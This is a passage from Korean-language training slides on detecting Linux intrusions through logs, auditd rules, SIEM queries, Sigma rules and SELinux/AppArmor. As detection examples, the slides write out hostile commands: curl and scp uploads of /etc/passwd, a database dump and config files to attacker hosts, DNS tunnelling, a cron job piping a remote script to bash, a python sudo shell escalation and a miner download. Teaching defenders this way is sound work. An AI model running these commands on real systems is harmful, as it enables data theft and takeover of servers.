    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    크립토마이너(암호화폐 채굴 악성코드) 탐지
    크립토마이너는 Linux 서버에서 가장 흔한 침해 결과 중 하나다 — 특유의 패턴이 있다
    시나리오
    📋 크립토마이너 로그 패턴
    # 다운로드 패턴
    execve: curl http://pool.xmrig.com/miner -o /tmp/.xmr
    # 은닉 실행
    execve: nohup /tmp/.xmr --donate-level=1 >/dev/null 2>&1 &
    # cron 지속성
    CROND: (root) CMD (/tmp/.xmr --pool xmr.pool.net:3333)
    # CPU 과부하
    kernel: [high load] process .xmr using 98% CPU
    🔍 탐지 방법
    CPU 사용률 급등: 갑자기 90%+ 지속
    외부 마이닝 풀 연결: stratum+tcp, 3333/4444포트
    /tmp의 실행 파일 + nohup
    cron에 외부 URL 스크립트 등록
    top, ps auxf | grep -E "\.xmr|minergate|minerd"
    크립토마이너는 완전한 침해의 일부 — 권한 상승·지속성·다른 서버 확산도 함께 확인 필요
    내부 횡단(Lateral Movement) 탐지
    한 서버를 침해한 공격자는 내부망을 통해 다른 서버로 이동한다 — 이 흔적이 로그에 남는다
    주의
    🌐 내부 횡단 방법들
    SSH로 다른 서버 접근
    침해 서버의 키를 이용해 다른 서버로 SSH
    내부 서비스 탐색
    nmap, netcat으로 내부망 포트 스캔
    자격증명 탈취 후 재사용
    /etc/shadow, 환경변수, 설정 파일의 비밀번호
    🔍 로그에서 탐지
    # 침해 서버에서 다른 서버로의 SSH
    execve: ssh -i /root/.ssh/id_rsa user@10.0.1.50
    # 대상 서버의 auth.log
    Accepted publickey for root from 10.0.1.100 ← 침해 서버 IP
    # 내부 포트 스캔
    execve: nmap -sV 10.0.1.0/24 -p 22,80,443
    내부 IP에서의 SSH 성공은 내부 정상 관리처럼 보임 → 출발지가 어느 서버인지 자산 분류 연동 필수
    보강 설명내부 횡단(Lateral Movement) 탐지 슬라이드는 한 서버를 침해한 공격자는 내부망을 통해 다른 서버로 이동한다 — 이 흔적이 로그에 남는다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    데이터 유출(Exfiltration) 탐지
    공격의 최종 목표는 보통 데이터 탈취다 — Linux 로그에서 유출 흔적을 찾는 방법을 알아야 한다
    주의
    📤 주요 유출 방법
    # HTTP POST 업로드
    curl -F "data=@/etc/passwd" https://att.net/upload
    curl -F "db=@/var/lib/mysql/data.sql" http://203.0.113.5/recv
    # SCP/SFTP
    scp -i key.pem /var/www/html/config.php user@203.0.113.5:/tmp/
    # DNS 터널링
    iodine -f -P pass 203.0.113.5 # DNS over TCP
    # tar + base64
    tar czf - /var/www | base64 | curl -d @- http://att.net/
    🔍 탐지 포인트
    민감 파일 접근 후 즉시 curl POST
    대용량 아웃바운드 트래픽 급증
    DB 서버에서 비정상 외부 연결
    tar/zip 생성 후 전송 패턴
    auditd 파일 접근 규칙: -w /etc/passwd -p r, -w /var/lib -p r 등 민감 파일 읽기 감사
    실전 시나리오: 웹쉘을 통한 서버 침해
    웹 취약점 → 웹쉘 업로드 → 시스템 명령 실행 → 권한 상승으로 이어지는 전형적 패턴
    시나리오
    # 1. nginx 접근 로그 - 웹쉘 업로드
    203.0.113.5 "POST /upload.php HTTP/1.1" 200 89
    03:15:22 203.0.113.5 "GET /uploads/shell.php?cmd=id HTTP/1.1" 200 23
    # 2. auditd - 웹쉘 통해 명령 실행 (www-data 권한)
    03:15:22 execve uid=33(www-data): id
    03:15:35 execve uid=33(www-data): cat /etc/passwd
    03:16:01 execve uid=33(www-data): sudo -l ← sudo 권한 확인
    # 3. www-data가 python3 sudo 허용됨 → 권한 상승
    03:16:45 execve uid=0: python3 -c "import os;os.system('/bin/bash')"
    # 4. root 권한으로 지속성 확보
    03:17:10 CROND: (root) CMD (curl http://203.0.113.5/c.sh | bash)
    연결고리: 웹 로그 → auditd(www-data) → sudo 남용 → root 권한 → 지속성 = 완전한 침해 체인
    탐지 전략: 웹서버 프로세스(www-data)의 시스템 명령 실행을 auditd로 감시하는 것이 핵심
    침해 후 정상화 확인 체크리스트
    제거했다고 끝이 아니다 — 모든 지속성 수단이 제거됐는지, 재침해 방지 조치가 됐는지 확인해야 한다
    분석
    🔍 지속성 제거 확인
    모든 사용자 crontab 확인 (crontab -l -u [user])
    /etc/cron.* 디렉터리 신규 파일 확인
    systemctl list-units --type=service 신규 서비스
    모든 계정 authorized_keys 점검
    /etc/passwd 신규 계정 확인
    /etc/sudoers.d/ 신규 파일 점검
    🛡️ 재침해 방지 조치
    모든 영향 계정 비밀번호 즉시 변경
    SSH 설정 강화 (PermitRootLogin no 등)
    OS/소프트웨어 보안 패치 적용
    auditd 규칙 강화
    공격 IP 방화벽 영구 차단
    보강 설명침해 후 정상화 확인 체크리스트 슬라이드는 제거했다고 끝이 아니다 — 모든 지속성 수단이 제거됐는지, 재침해 방지 조치가 됐는지 확인해야 한다 권한 변화와 지속성 흔적이 이어지는지까지 확인해야 사건의 무게를 알 수 있다.
    권한 변화지속성조치 우선순위
    핵심 포인트
    • sudo·su·systemd·cron·authorized_keys는 권한 흔적의 핵심
    • 새 계정 생성과 sudoers 변경은 장기 재진입 구조일 수 있다
    • 한 번의 root 쉘보다 이후 남긴 지속성 흔적이 더 중요할 수 있다
    추가 확인
    • 관련 파일 mtime과 service enable 흔적 점검
    • auditd execve와 auth 로그를 같이 묶어 주체를 확인
    • 새 계정·새 키·새 서비스가 같은 세션에서 생겼는지 보기
    실무 적용
    • 지속성이 여러 겹이면 동시에 제거해야 재침투를 막을 수 있다
    • IAM·운영팀과 함께 계정 통제 범위를 즉시 정리
    • 권한상승 이벤트는 영향도 높은 자산부터 우선 대응
    Linux Incident 보고서 작성 가이드
    좋은 보고서는 기술적 사실과 운영 판단을 균형 있게 담아 다양한 독자가 이해할 수 있어야 한다
    분석
    📋 보고서 필수 구성
    1. 요약 (Executive Summary)
    3~5줄, 기술적 배경 없이도 이해 가능
    2. 이벤트 타임라인
    시간순 정렬, 로그 근거 포함
    3. 기술 분석
    MITRE ATT&CK 매핑, IOC 목록
    4. 영향 평가
    영향받은 자산, 데이터 노출 가능성
    5. 권고 조치
    단기/중기/장기 조치, 담당팀 명시
    ✍️ 좋은 요약 예시
    Executive Summary
    2024년 1월 12일 02:06, 신규 외부 IP에서 운영 웹서버(web01)의 admin 계정 SSH 로그인 성공이 확인됨. 로그인 직후 sudo를 통한 root 권한 획득, 외부 서버에서 스크립트 다운로드 및 실행, cron 지속성 등록, 신규 관리자 계정(backupsvc) 생성이 순차적으로 발생함. 침해는 약 14분 내 완료된 것으로 추정됨. 즉각적인 서버 격리, 영향 계정 통제, 지속성 수단 제거가 필요함.
    좋은 요약: 무엇이 → 언제 → 어디서 → 어떻게 → 얼마나 → 다음 조치
    PART 13
    auditd 심화와 SIEM 연동
    감사 정책 설계 · ausearch/aureport · Elastic · Splunk 쿼리
    ⏱ 70분 | 심화 보충
    보강 설명auditd 심화와 SIEM 연동 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    auditd가 기록하는 것과 기록하지 않는 것
    auditd는 리눅스 커널 수준의 감사 서브시스템 — 설정한 규칙에 따라서만 기록된다
    개념
    ✅ auditd가 기록할 수 있는 것
    • 시스템 콜 (execve, open, write, unlink, chmod, chown...)
    • 파일/디렉터리 접근 (읽기, 쓰기, 속성 변경)
    • 사용자 인증 및 계정 관리
    • 네트워크 소켓 생성 (bind, connect)
    • 프로세스 생성 및 종료
    • SELinux/AppArmor 정책 위반
    ❌ 주의사항
    규칙 없이는 아무것도 기록 안 함 — 기본 설치 상태는 최소 설정
    과도한 규칙 = 성능 저하 + 로그 폭증 — 우선순위 설정 필수
    디스크 가득 차면 로그 중단 (space_left_action 설정 중요)
    auditd는 강력하지만 설계가 먼저 — 무엇을 왜 감사할지 결정하고 규칙을 만들어야 한다
    보강 설명auditd가 기록하는 것과 기록하지 않는 것 슬라이드는 auditd는 리눅스 커널 수준의 감사 서브시스템 — 설정한 규칙에 따라서만 기록된다 이때 원본 로그·시간축·수집 경로를 함께 봐야 판단이 흔들리지 않는다.
    원본 로그시간축수집 경로
    핵심 포인트
    • 파일명보다 어떤 이벤트를 담는 로그인지 먼저 구분하기
    • 배포판 차이와 journalctl·압축 로그 보강까지 함께 보기
    • 한 줄 로그도 시간·호스트·프로세스·결과로 빠르게 분해하기
    추가 확인
    • 타임존/NTP와 logrotate 보존 범위 확인
    • 로컬 원본과 SIEM 파싱 결과 차이 점검
    • 환경 설정상 빠질 수 있는 로그 소스는 없는지 체크
    실무 적용
    • auth→sudo→auditd처럼 여러 로그를 체인으로 연결
    • 원본 raw 로그를 보며 탐지 룰 필드 정의 만들기
    • 로그가 없으면 없는 이유까지 조사하는 습관 들이기
    auditd 규칙 3가지 유형과 작성법
    auditd 규칙은 감시 범위를 정확히 지정해야 불필요한 노이즈를 줄일 수 있다
    명령어
    파일 감시 (-w)
    # 파일 변경 감사
    -w /etc/passwd -p wa -k passwd_change
    -w /etc/sudoers -p rwa -k sudoers
    -w /etc/ssh/sshd_config -p wa -k sshd_config
    # 디렉터리 감시
    -w /etc/cron.d -p wa -k cron_change
    -w /tmp -p wxa -k tmp_exec
    -p: r읽기 w쓰기 x실행 a속성변경
    시스템콜 감사 (-a)
    # 실행 감사
    -a always,exit -F arch=b64 -S execve -k exec_log
    # 네트워크 연결
    -a always,exit -F arch=b64 -S connect -k network
    # 권한 변경
    -a always,exit -F arch=b64 -S chmod -S chown -k perm_change
    # root 전환
    -a always,exit -F arch=b64 -S setuid -k setuid
    arch=b64: 64비트 시스템콜 감사
    제외 규칙 (-a never)
    # 노이즈 제거
    -a never,exit -F dir=/proc -k noaudit
    -a never,exit -F dir=/sys -k noaudit
    # 특정 사용자 제외
    -a never,exit -F uid=0 -F dir=/usr/sbin
    # 임계값 설정
    -e 2 # 규칙 변경 잠금 (재부팅 필요)
    제외 규칙이 없으면 로그 폭주
    규칙 파일: /etc/audit/rules.d/*.rulesaugenrules --load로 적용
    auditd 로그 레코드 구조 해부
    한 번의 시스템콜이 여러 레코드로 기록된다 — 연결 키는 msg 타임스탬프와 serial number이다
    분석
    하나의 execve 이벤트 = 4개 레코드
    # 레코드 1: SYSCALL - 시스템콜 정보
    type=SYSCALL msg=audit(1710002220.123:501): arch=c000003e syscall=59(execve) success=yes exit=0 a0=7f... ppid=1234 pid=5678 uid=1001 auid=1001 tty=pts0 ses=15 comm="bash" exe="/bin/bash" key="exec_log"
    # 레코드 2: EXECVE - 실행 인수
    type=EXECVE msg=audit(1710002220.123:501): argc=3 a0="curl" a1="-fsSL" a2="http://evil.net/c.sh"
    # 레코드 3: PATH - 파일 경로
    type=PATH msg=audit(1710002220.123:501): item=0 name="/usr/bin/curl" inode=131073 dev=fd:00 mode=0100755
    # 레코드 4: PROCTITLE - 전체 명령줄 (hex인코딩)
    type=PROCTITLE msg=audit(1710002220.123:501): proctitle=636F726C002D66... ← base64/hex
    핵심: 같은 msg=audit(타임스탬프:serial)을 가진 레코드들이 하나의 이벤트 — ausearch가 이를 자동으로 묶어줌
    ausearch 실전 사용법
    ausearch는 auditd 로그의 전용 검색 도구 — 원시 로그를 직접 grep하는 것보다 훨씬 편리하다
    명령어
    🔍 주요 검색 옵션
    # 특정 사용자 행위
    ausearch -ua 1001 --start today
    # 특정 실행 파일
    ausearch -x /usr/bin/curl
    # 파일 접근 (키워드)
    ausearch -k passwd_change --start today
    # 시스템콜 타입
    ausearch -m EXECVE --start "01/12/2024 00:00:00"
    # 인증 실패
    ausearch -m USER_AUTH -sv no --start today
    # 명령줄 포함해서 보기
    ausearch -k exec_log --start today | aureport --cmdline
    📊 aureport 요약 옵션
    # 인증 요약 (실패/성공)
    aureport --auth --summary
    aureport --auth --failed
    # 실행 명령 요약
    aureport --cmd --summary
    # 파일 접근 요약
    aureport --file --summary
    # 계정 이벤트 요약
    aureport --user --summary
    # 오늘 이상 이벤트
    aureport --anomaly --start today
    CIS 벤치마크 기반 auditd 감사 규칙 세트
    업계 표준 감사 규칙을 적용하면 기본적인 보안 가시성을 빠르게 확보할 수 있다
    분석
    🏛️ CIS Level 1 핵심 규칙
    # 시간 변경
    -a always,exit -F arch=b64 -S adjtimex -S settimeofday -k time-change
    # 사용자/그룹 관리 파일
    -w /etc/passwd -p wa -k identity
    -w /etc/group -p wa -k identity
    -w /etc/shadow -p wa -k identity
    # 네트워크 설정 변경
    -a always,exit -F arch=b64 -S sethostname -S setdomainname -k system-locale
    # 방화벽 규칙 변경
    -w /etc/iptables -p wa -k firewall
    -w /etc/nftables.conf -p wa -k firewall
    🔒 권한 감사 핵심 규칙
    # sudo 실행 감사
    -w /etc/sudoers -p wa -k sudoers
    -w /etc/sudoers.d -p wa -k sudoers
    # 특권 명령 감사
    -a always,exit -F arch=b64 -S chown -F auid>=1000 -k priv_cmd
    -a always,exit -F arch=b64 -S chmod -F auid>=1000 -k priv_cmd
    # 모듈 로드 (루트킷 위협)
    -w /sbin/insmod -p x -k modules
    -a always,exit -F arch=b64 -S init_module -k modules
    Elasticsearch/Kibana로 Linux 로그 분석
    ELK Stack에서 Linux 로그를 검색하고 시각화하는 실전 쿼리 패턴
    명령어
    🔍 KQL (Kibana Query Language)
    # 외부 IP SSH 성공
    event.action:"Accepted" AND NOT source.ip:"10.*"
    # 야간 sudo
    process.name:"sudo" AND @timestamp:[* TO "06:00"] OR @timestamp:["22:00" TO *]
    # curl + /tmp 패턴
    process.name:"curl" AND auditd.data.a2:/\/tmp\/.*/
    # 신규 사용자 생성
    event.action:"user-create" OR auditd.data.cmd:"useradd"
    # authorized_keys 변경
    file.path:*authorized_keys AND event.action:("opened-file" OR "modified-file")
    📊 Lucene 쿼리
    # 특정 IP 모든 이벤트
    source.ip:203.0.113.5 AND @timestamp:[2024-01-12 TO 2024-01-13]
    # 위험 명령 조합
    auditd.data.a0:(curl OR wget) AND auditd.data.a2:/\/tmp/
    # 브루트포스 탐지 (집계)
    event.action:Failed AND source.ip:* | stats count by source.ip | where count > 50
    Kibana TSVB / Lens로 시간별 실패 로그인 수 시각화 → 브루트포스 패턴 파악
    Splunk SPL로 Linux 로그 분석
    Splunk SPL의 강력한 집계와 통계 기능으로 Linux 보안 이벤트를 빠르게 분석할 수 있다
    명령어
    🔍 기본 검색 패턴
    # 브루트포스 상위 IP
    index=linux_auth "Failed password"
    | stats count by src_ip
    | sort -count | head 10
    # 실패 후 성공 (같은 IP)
    index=linux_auth (action="failure" OR action="success")
    | stats values(action) as actions, count by src_ip, user
    | where match(actions, "failure") AND match(actions, "success")
    # sudo 사용 전체 현황
    index=linux_auth sudo
    | rex "USER=(?P<target_user>\S+).*COMMAND=(?P<cmd>.+)"
    | stats count by user, target_user, cmd | sort -count
    📊 고급 상관 분석
    # 야간 접속 이상 탐지
    index=linux_auth "Accepted"
    | eval hour=strftime(_time, "%H")
    | where hour < 7 OR hour >= 22
    | table _time, src_ip, user, host
    # 신규 IP 탐지 (30일 이전 없던 IP)
    index=linux_auth "Accepted" earliest=-1d latest=now
    | join src_ip [search index=linux_auth "Accepted"
    earliest=-31d latest=-1d | stats count by src_ip]
    | where NOT count
    Linux 로그 필드 매핑과 정규화
    SIEM에서 여러 소스의 로그를 상관 분석하려면 필드 이름이 통일돼야 한다
    개념
    원본 로그 필드 auth.log 예시 ECS 정규화 필드 Splunk CIM 필드
    출발지 IPfrom 203.0.113.5source.ipsrc_ip
    대상 사용자for aliceuser.nameuser
    인증 결과Accepted / Failedevent.outcomeaction
    호스트명server01 sshd[...]host.hostnamedest
    프로세스명sshd[4512]process.nameprocess
    인증 방법password / publickeyauth.methodauth_method
    필드 정규화가 잘 되면 source.ip 하나로 auth.log + nginx + firewall 로그를 동시에 검색할 수 있다
    보강 설명Linux 로그 필드 매핑과 정규화 슬라이드는 SIEM에서 여러 소스의 로그를 상관 분석하려면 필드 이름이 통일돼야 한다 이때 원본 로그·시간축·수집 경로를 함께 봐야 판단이 흔들리지 않는다.
    원본 로그시간축수집 경로
    핵심 포인트
    • 파일명보다 어떤 이벤트를 담는 로그인지 먼저 구분하기
    • 배포판 차이와 journalctl·압축 로그 보강까지 함께 보기
    • 한 줄 로그도 시간·호스트·프로세스·결과로 빠르게 분해하기
    추가 확인
    • 타임존/NTP와 logrotate 보존 범위 확인
    • 로컬 원본과 SIEM 파싱 결과 차이 점검
    • 환경 설정상 빠질 수 있는 로그 소스는 없는지 체크
    실무 적용
    • auth→sudo→auditd처럼 여러 로그를 체인으로 연결
    • 원본 raw 로그를 보며 탐지 룰 필드 정의 만들기
    • 로그가 없으면 없는 이유까지 조사하는 습관 들이기
    Linux 보안 SIEM 대시보드 설계
    좋은 대시보드는 "지금 이상한 게 없나?"를 30초 안에 파악할 수 있어야 한다
    개념
    📊 핵심 위젯 1층: 실시간 현황
    시간별 SSH 로그인 성공/실패 추세 (라인)
    상위 실패 IP 목록 + 국가 정보
    현재 활성 세션 수 (카운터)
    신규 IP 성공 로그인 알림
    📊 핵심 위젯 2층: 이상 탐지
    야간 접속 발생 이벤트 리스트
    sudo 실행 명령 상위 목록
    /tmp 실행 이벤트 카운터
    auditd 고위험 키워드 히트맵
    💡 설계 원칙
    1층은 운영자가 매일 보는 현황, 2층은 분석가가 이상 탐지 시 드릴다운하는 화면으로 구분하라
    보강 설명Linux 보안 SIEM 대시보드 설계 슬라이드는 좋은 대시보드는 "지금 이상한 게 없나?"를 30초 안에 파악할 수 있어야 한다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    Linux 로그 수집 아키텍처 설계
    로그를 SIEM까지 안정적으로 전달하는 파이프라인은 여러 선택지가 있다
    개념
    rsyslog / syslog-ng
    ✅ 경량, 기본 내장
    ✅ TLS 암호화 전송
    ✅ 필터링/변환 가능
    ⚠️ 구조화 어려움
    ⚠️ 버퍼링 제한적
    소규모 환경에 적합
    Filebeat / Elastic Agent
    ✅ 구조화 파싱 내장
    ✅ Backpressure 처리
    ✅ ECS 자동 정규화
    ✅ 다양한 모듈
    ⚠️ 메모리 사용量 있음
    ELK 스택 환경 권장
    Fluentd / Fluent Bit
    ✅ 가볍고 빠름 (Bit)
    ✅ 플러그인 풍부
    ✅ 멀티 출력 지원
    ✅ 쿠버네티스 적합
    ⚠️ 설정 복잡
    클라우드/컨테이너 환경
    일반적 권장 아키텍처: 서버 → Filebeat/Fluent BitLogstash/중간 집계ElasticsearchKibana
    보강 설명Linux 로그 수집 아키텍처 설계 슬라이드는 로그를 SIEM까지 안정적으로 전달하는 파이프라인은 여러 선택지가 있다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    Grok 패턴으로 Linux 로그 파싱하기
    SIEM에서 로그를 필드로 분해하려면 파싱 패턴이 필요하다 — Grok은 가장 널리 쓰이는 방법이다
    명령어
    📋 auth.log Grok 패턴
    # SSH 성공 로그인
    %{SYSLOGTIMESTAMP:timestamp} %{HOSTNAME:host}
    sshd\[%{POSINT:pid}\]: Accepted %{WORD:auth_method}
    for %{USER:username} from %{IPV4:src_ip}
    port %{POSINT:src_port}
    # SSH 실패 로그인
    %{SYSLOGTIMESTAMP:timestamp} %{HOSTNAME:host}
    sshd\[%{POSINT:pid}\]: Failed %{WORD:auth_method}
    for (?:invalid user )?%{USER:username}
    from %{IPV4:src_ip}
    # sudo 로그
    %{USER:username} : TTY=%{TTY:tty}
    ; USER=%{USER:target_user} ; COMMAND=%{GREEDYDATA:command}
    🔧 파싱 결과 예시
    timestamp
    Jan 12 10:15:03
    host
    web-prod-01
    pid
    4512
    auth_method
    password
    username
    admin01
    src_ip
    203.0.113.44
    파싱 테스트: Grok Constructor 활용
    Sigma 룰로 탐지 로직 표준화하기
    Sigma는 SIEM 독립적인 공통 탐지 룰 형식이다 — 한 번 작성하면 여러 SIEM에서 사용할 수 있다
    개념
    📋 Sigma 룰 구조
    title: SSH Brute Force then Success
    id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
    status: experimental
    description: SSH 브루트포스 후 성공 탐지
    logsource:
    product: linux
    service: auth
    detection:
    selection_fail:
    message|contains: 'Failed password'
    selection_success:
    message|contains: 'Accepted'
    timeframe: 10m
    condition: selection_fail | count() > 20 and selection_success
    level: high
    🔄 Sigma → SIEM 변환
    sigmac 도구
    sigmac -t splunk rule.yml
    sigmac -t elasticsearch rule.yml
    주요 타겟 SIEM
    Splunk, Elasticsearch, Sentinel, QRadar, Sumo Logic
    공개 Sigma 룰 저장소
    github.com/SigmaHQ/sigma (2000+ 룰)
    Linux 로그 이벤트와 MITRE ATT&CK 매핑
    관측된 이벤트를 ATT&CK 프레임워크에 매핑하면 공격자의 전술과 다음 단계를 예측할 수 있다
    분석
    관측 이벤트 ATT&CK 전술 기법 ID 설명
    SSH 브루트포스 Initial Access T1110.001 Password Guessing
    sudo 권한 상승 Privilege Escalation T1548.003 Sudo and Sudo Caching
    cron 등록 Persistence T1053.003 Cron
    authorized_keys 추가 Persistence T1098.004 SSH Authorized Keys
    curl → /tmp → nohup Execution T1059.004 Unix Shell
    history 삭제 Defense Evasion T1070.003 Clear Command History
    SSH → 내부 서버 Lateral Movement T1021.004 Remote Services: SSH
    보강 설명Linux 로그 이벤트와 MITRE ATT&CK 매핑 슬라이드는 관측된 이벤트를 ATT&CK 프레임워크에 매핑하면 공격자의 전술과 다음 단계를 예측할 수 있다 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    위협 인텔리전스(TI)와 로그 분석 연동
    로그에서 추출한 IP·도메인·해시를 TI 플랫폼과 연동하면 즉각적인 맥락 보강이 가능하다
    개념
    🔗 TI 플랫폼 활용
    VirusTotal
    파일 해시, IP, URL, 도메인 조회
    curl -s "https://www.virustotal.com/vtapi/v2/ip-address/report?apikey=KEY&ip=203.0.113.5"
    AbuseIPDB
    IP 악성 신고 이력 조회, 신뢰도 점수
    MISP / OpenTIDP
    내부 TI 플랫폼 연동, STIX/TAXII
    🔄 SIEM TI 자동 보강
    로그의 src_ip → TI 조회 → 악성 여부 태깅
    curl/wget URL → VT 스캔 → 평판 점수 추가
    파일 해시 → 악성코드 DB → 계열/위협명 태깅
    TI는 맥락이지 판단이 아님 — "악성으로 보고됨"이 곧 "침해 확인"은 아님
    Elastic: Threat Intelligence Filebeat Module | Splunk: ThreatConnect TA
    보강 설명위협 인텔리전스(TI)와 로그 분석 연동 슬라이드는 로그에서 추출한 IP·도메인·해시를 TI 플랫폼과 연동하면 즉각적인 맥락 보강이 가능하다 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    PART 14
    Linux 보안 강화와 SELinux/AppArmor
    SELinux · AppArmor · 시스템 강화 · 로그 관점
    ⏱ 50분 | 심화 보충
    보강 설명Linux 보안 강화와 SELinux/AppArmor 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    SELinux: Mandatory Access Control과 로그
    SELinux는 Linux의 강제 접근 제어(MAC) 시스템이다 — 위반 시 로그가 생성되고 이것 자체가 탐지 신호가 된다
    개념
    🔒 SELinux 3가지 모드
    Enforcing (권장)
    정책 위반 시 차단 + 로그 기록
    Permissive
    차단하지 않고 로그만 기록 (테스트용)
    Disabled
    SELinux 완전 비활성화 (보안 취약)
    # 현재 모드 확인
    getenforce → Enforcing
    sestatus | grep "Current mode"
    📋 SELinux 거부 로그
    # /var/log/audit/audit.log
    type=AVC msg=audit(1710000001.234:1001):
    avc: denied { write } for pid=5678
    comm="httpd" name="shell.php"
    scontext=system_u:system_r:httpd_t:s0
    tcontext=unconfined_u:object_r:user_home_t:s0
    tclass=file permissive=0
    AVC denied 로그: httpd가 user_home_t 파일에 쓰기 시도 → 웹쉘 업로드 차단 신호!
    AppArmor 프로파일과 로그 분석
    Ubuntu/Debian 계열에서 주로 사용되는 AppArmor도 위반 시 audit 로그에 기록된다
    개념
    🛡️ AppArmor 기본
    • 프로세스별 프로파일로 허용 파일/능력 제한
    • SELinux보다 설정 간단, 경로 기반
    • complain 모드 (로그만) / enforce 모드 (차단+로그)
    • 프로파일 위치: /etc/apparmor.d/
